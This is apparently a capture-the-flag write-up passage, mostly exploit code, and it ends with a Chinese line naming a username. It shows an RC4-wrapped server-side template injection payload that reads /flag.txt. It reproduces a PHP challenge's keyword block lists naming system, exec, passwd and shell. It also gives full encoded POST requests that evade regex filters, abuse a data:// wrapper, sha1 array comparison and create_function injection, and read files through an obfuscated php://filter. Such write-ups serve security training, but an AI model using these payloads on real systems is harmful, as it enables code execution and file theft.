def _init_S_box(self): self.Box = [i for i in range(256)] k = [self.key[i % self.key_length] for i in range(256)] j = 0 for i in range(256): j = (j + self.Box[i] + ord(k[i])) % 256 self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
def crypt(self, plaintext): i = 0 j = 0 result = '' for ch in plaintext: i = (i + 1) % 256 j = (j + self.Box[i]) % 256 self.Box[i], self.Box[j] = self.Box[j], self.Box[i] t = (self.Box[i] + self.Box[j]) % 256 result += chr(self.Box[t] ^ ord(ch)) return result
a = RC4('HereIsTreasure') cmd = "{{ [].__class__.__base__.__subclasses__()[40]('/flag.txt').read() }}" payload = urllib.parse.quote(a.crypt(cmd)) res = requests.get(url + payload) print(res.text)
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); }
if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>"; } } else die('fxck you! What do you want to do ?!');
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }
if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?<br>"; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }
if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?>
POST /1nD3x.php?%64%65%62%75=%61qua%5fis%5fcut%65%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//
POST /1nD3x.php?%64%65%62%75=%61qua%5fis%5fcut%65%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//
<? $a = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = 1 f l a g . p h p"; $arr1 = explode(' ', $a); echo "<br>~("; foreach ($arr1 as $key => $value) { echo "%".bin2hex(~$value); } echo ")<br>";
可见username的值为glzjin
